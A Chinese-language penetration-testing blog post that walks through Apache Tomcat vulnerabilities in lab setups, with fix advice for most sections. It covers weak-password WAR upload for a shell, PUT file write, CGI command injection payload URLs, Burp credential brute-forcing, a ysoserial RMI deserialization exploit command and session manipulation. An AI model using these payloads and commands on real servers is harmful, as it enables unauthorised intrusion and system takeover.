AqYoung

分享渗透知识与技巧

0%

中间件漏洞之Tomcat

中间件Tomcat漏洞的一次总结

Tomcat简介

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。

Tomcat常见漏洞整理:

后台弱口令上传war包Getshell漏洞

1、修改conf/tomcat-users.xml文件的中配置用户的权限:
Configuring Manager Application Access

<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

2、我们访问:

http://test.com:8080/manager/html/

输入弱密码:tomcat:tomcat。登陆到后台

3、选择一个jsp生成war包并且上传

jar -cvf job.war job.jsp
or
zip -r job.zip job.jsp && mv job.zip job.war

上传成功我们可以看到返回包的路径

访问:

http://test.com:8080/上传war包名/文件名

例如:

http://test.com:8080/job/job.jsp

PUT方法任意文件写入(CVE-2017-12615)

修改/conf/web.xml

直接PUT方法发送数据包即可在Web根目录写入shell:

(readonly=false)

成功写入文件,之后访问一下web根目录

(readonly=true)

更改配置之后返回403,不再可以写入

远程代码执行(CVE-2019-0232)

影响版本:

9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93

影响系统及条件:

Windows
启用了CGI Servlet(默认为关闭)
启用了enableCmdLineArguments(Tomcat 9.0.*及后续版本默认关闭)

1、环境搭建:

#本次使用的环境为:
Windows 10
jre:1.8.0_241
apache-tomcat-8.5.39

(1)、启用CGI Servlet(修改conf/web.xml)


<init-param>
  <param-name>debug</param-name>
  <param-value>0</param-value>
</init-param>
<init-param>
  <param-name>executable</param-name>
  <param-value></param-value>
</init-param>

(2)、给予CGI_Servlet启动权限(修改conf/content.xml)

<Context privileged="true">

(3)、在webapps\ROOT\WEB-INF新建一个cgi目录(这个取决于
cgiPathPrefix的param-value的值”WEB-INF/cgi”)然后新建一个test.bat内容任意。

2、漏洞复现:

payload:

http://localhost:8080/cgi-bin/test.bat?&dir

http://localhost:8080/cgi-bin/test.bat?&C:/WINDOWS/system32/net+user

3、修复建议:

1、安装Apache Tomcat官方补丁升级进行防护
2、将CGI Servlet初始化参数enableCmdLineArguments设置为false

manager 暴力破解(burp)

1、环境搭建

添加如下代码:(在conf/tomcat-users.xml)

<role rolename="tomcat-gui"/>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui"/>
<user username="admin" password="123456" roles="tomcat-gui,manager-gui,manager-script"/>

2、使用burp进行暴力破解:

(1)、访问 http://localhost:8080/manager/html 截取如下包:

(2)、发送到intruder模块之后标记 dG9tY2F0OjEyMzQ1Ng

payload type选择custom iterator
position 设置为3
(其中第一个为用户字典)
(第二个为:)
(第三个为密码字典)

最后添加如下rule和取消url编码

(3)、开始爆破之后成功返回 200

进行解码

3、修复建议:

如果没有必要取消manager功能
设置复杂性高的密码
设置manager只允许本地IP访问

反序列化漏洞(CVE-2016-8735)

影响版本:

9.0.0.M1 ~ 9.0.0.M11
8.5.0 ~ 8.5.6
8.0.0.RC1 ~ 8.0.38
7.0.0 ~ 7.0.72
6.0.0 ~ 6.0.47

1、环境搭建:

#本次使用的环境为:
Windows 7
jre:1.7.0_80
apache-tomcat-8.5.39

jre下载

tomcat下载

(1)、启用JmxRemoteLifecycleListener功能监听(在conf/server.xml)

<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />

(2)、下载对应版本的catalina-jmx-remote.jar包和groovy-2.3.9.jar包,放到tomcat的lib目录下。

(3)、修改bin/catalina.bat,在Execute The Requested Command上面添加内容

set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
#后面两个false分别代表:指定不使用SSL通讯、指定不需要密码验证

(4)、修改完成之后启动tomcat,查看10001和10002的RMI服务端口是否运行。

2、漏洞复现:

使用ysoserial发送payload

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.11.14 10001 Groovy1 calc.exe

成功弹出计算器(在使用jre-1.8.0_241的时候出现报错)

另外,POC的编写可以参考:https://blog.spoock.com/2019/09/20/cve-2016-8735/

3、修复建议:

更新对应的版本;
关闭JmxRemoteLifecycleListener功能,对jmx JmxRemoteLifecycleListener远程端口进行网络访问控制。

样例目录session操控漏洞

1、漏洞分析:

在webapps\examples\servlets\sessions.html

String dataName = request.getParameter(&quot;<font color="#009900">dataName</font>&quot;);//获取dataname参数的值
if (dataName != null &amp;&amp; dataName.length() &gt; 0) {
    String dataValue = request.getParameter(&quot;<font color="#009900">dataValue</font>&quot;);//获取dataValue参数的值
    session.setAttribute(dataName, dataValue);//将dataname和datavalue写入session
}

通过表单用户提交的name和value这两个参数值。由request.getParameter()函数来获取这两个值,然后通过session.setAttribute()传递给session。从而可以通过前端页面去控制session的值来获取管理员权限。

2、环境搭建

#本次使用的环境
jre:1.7.0_80
apache-tomcat-8.5.39

在webapps\examples新建三个页面模拟登陆页面操控session获取权限



3、复现过程

(1)、访问登陆页面并抓包

http://192.168.11.14:8080/examples/index.jsp

由于没有管理员的session所以被302重定向到了login.jsp

(2)、操作session进入后台

打开:SessionExample

http://192.168.11.14:8080/examples/servlets/servlet/SessionExample

输入login:admin并且提交

提交后提示已经写入sessio

再次访问

http://192.168.11.14:8080/examples/index.jsp

这个时候提示登陆成功

本地提权漏洞(CVE-2016-1240)

参考:https://www.jianshu.com/p/94e4feac245f


  • 笔者初衷用于分享与交流网络知识,若读者因此作出任何危害网络安全行为后果自负,与作者无关!